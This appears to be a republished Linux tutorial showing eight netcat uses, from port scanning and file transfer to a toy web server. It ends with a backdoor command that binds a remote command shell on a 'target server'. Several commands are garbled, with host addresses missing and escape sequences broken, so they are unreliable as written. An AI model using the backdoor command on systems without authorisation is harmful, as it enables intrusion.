8 Netcat (nc) Command with Examples

8 Netcat (nc) Command with Examples

Netcat (or nc in short) is a simple yet powerful networking command-line tool used for performing any operation in Linux related to TCP, UDP, or UNIX-domain sockets.

Netcat can be used for port scanning, port redirection, as a port listener (for incoming connections); it can also be used to open remote connections and so many other things. Besides, you can use it as a backdoor to gain access to a target server.

In this article, we will explain Netcat usage commands with examples.

How to Install and Use Netcat in Linux

To install the netcat package on your system, use the default package manager for your Linux distribution.

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL 8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

Once netcat package installed, you can proceed further to learn the usage of netcat command in the following examples.

Port Scanning

Netcat can be used for port scanning: to know which ports are open and running services on a target machine. It can scan a single or multiple or a range of open ports.

Here is an example, the -z option sets nc to simply scan for listening daemons, without actually sending any data to them. The -v option enables verbose mode and -w specifies a timeout for connection that can not be established.

$ nc -v -w 2 z 22     #scan a single port
$ nc -v -w 2 z 22 80  #scan multiple ports
$ nc -v -w 2 z 20-25  #scan range of ports

Scan for Open Ports in Linux

Scan for Open Ports in Linux

Transfer Files Between Linux Servers

Netcat allows you to transfer files between two Linux computers or servers and both these systems must have nc installed.

For example, to copy an ISO image file from one computer to another and monitor the transfer progress (using the pv utility), run the following command on the sender/server computer (where the ISO file exists).

This will run nc in listening mode (-l flag) on port 3000.

$ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

And on the receiver/client computer, run the following command to obtain the file.

$ nc 3000 | pv | tar -zxf -

File Transfer Between Linux Systems

File Transfer Between Linux Systems

Create a Command Line Chat Server

You can also use Netcat to create a simple command-line messaging server instantly. As in the previous usage example, nc must be installed on both systems used for the chat room.

On one system, run the following command to create the chat server listening on port 5000.

$ nc -l -vv -p 5000

On the other system, run the following command to launch a chat session to a machine where the messaging server is running.

$ nc 5000

Create Chat Server in Command Line

Create Chat Server in Command Line

Create a Basic Web Server

Wit the -l option of nc command used to create a basic, insecure web server to serve static web files for learning purposes. To demonstrate this, create a .html file as shown.

$ vim index.html

Add the following HTML lines in the file.

                Test Page

Serving this file using Netcat Basic HTTP server!

Save changes in the file and exit.

Then serve the above file over HTTP by running the following command, which will enables the HTTP server to run continuously.

$ while : ; do ( echo -ne "HTTP/1.1 200 OKrn" ; cat index.html; ) | nc -l -p 8080 ; done

Create Web server in Command line

Create Web server in Command line

Then open a web browser and can access the content using the following address.


Test Web Server

Test Web Server

Note that you can to stop the Netcat HTTP server by pressing [Ctrl+ C].

Troubleshoot Linux Server Connection

Another useful usage of Netcat is to troubleshoot server connection issues. Here, you can use Netcat to verify what data a server is sending in response to commands issued by the client.

The following command retrieves the home page of example.com.

$ printf "GET / HTTP/1.0rnrn" | nc text.example.com 80

The output of the above command includes the headers sent by the web-server which can be used for troubleshooting purposes.

Find a Service Running on Port

You can also use Netcat to obtain port banners. In this case, it will tell you what service is running behind a certain port. For example to know what type of service is running behind port 22 on a specific server, run the following command (replace with the target server’s IP address). The -n flag means to disable DNS or service lookups.

$ nc -v -n 80

Find Service Running on Port

Find Service Running on Port

Create a Stream Sockets

Netcat also supports creation of UNIX-domain stream sockets. The following command will create and listen on a UNIX-domain stream socket.

$ nc -lU /var/tmp/mysocket &
$ ss -lpn | grep "https://www.tecmint.com/var/tmp/"

Create Stream Socket in Command Line

Create Stream Socket in Command Line

Create a Backdoor

You can as well run Netcat as a backdoor. However, this calls for more work. If Netcat is installed on a target server, you can use it to create a backdoor, to get a remote command prompt.

To act a backdoor you need Netcat to listen on a chosen port (e.g port 3001) on the target server and then you can connect to this port from your machine as follows.

This is the command intended to run on the remote server where the -d option disables reading from stdin, and -e specifies the command to run on the target system.

$ nc -L -p 3001 -d -e cmd.exe 

Last but not least, Netcat can be used as a proxy for different services/protocols including HTTP, SSH, and many more. For more information, see its man page.

$ man nc

In this article, we have explained 8 practical Netcat command usage examples. If you know any other practical use case(s), share with us via the feedback form below. You can ask a question as well.


Our trusted sources

We only publish news from well-known cybercrime magazines via RSS. You will find here everything about hackers & cybercrime. Also you can visit the direct sources from us.

Just click on one of the buttons.


Check out our Guidebook page.  And read everything about it.  Also how to protect yourself from hacker attacks.  An all in one thing.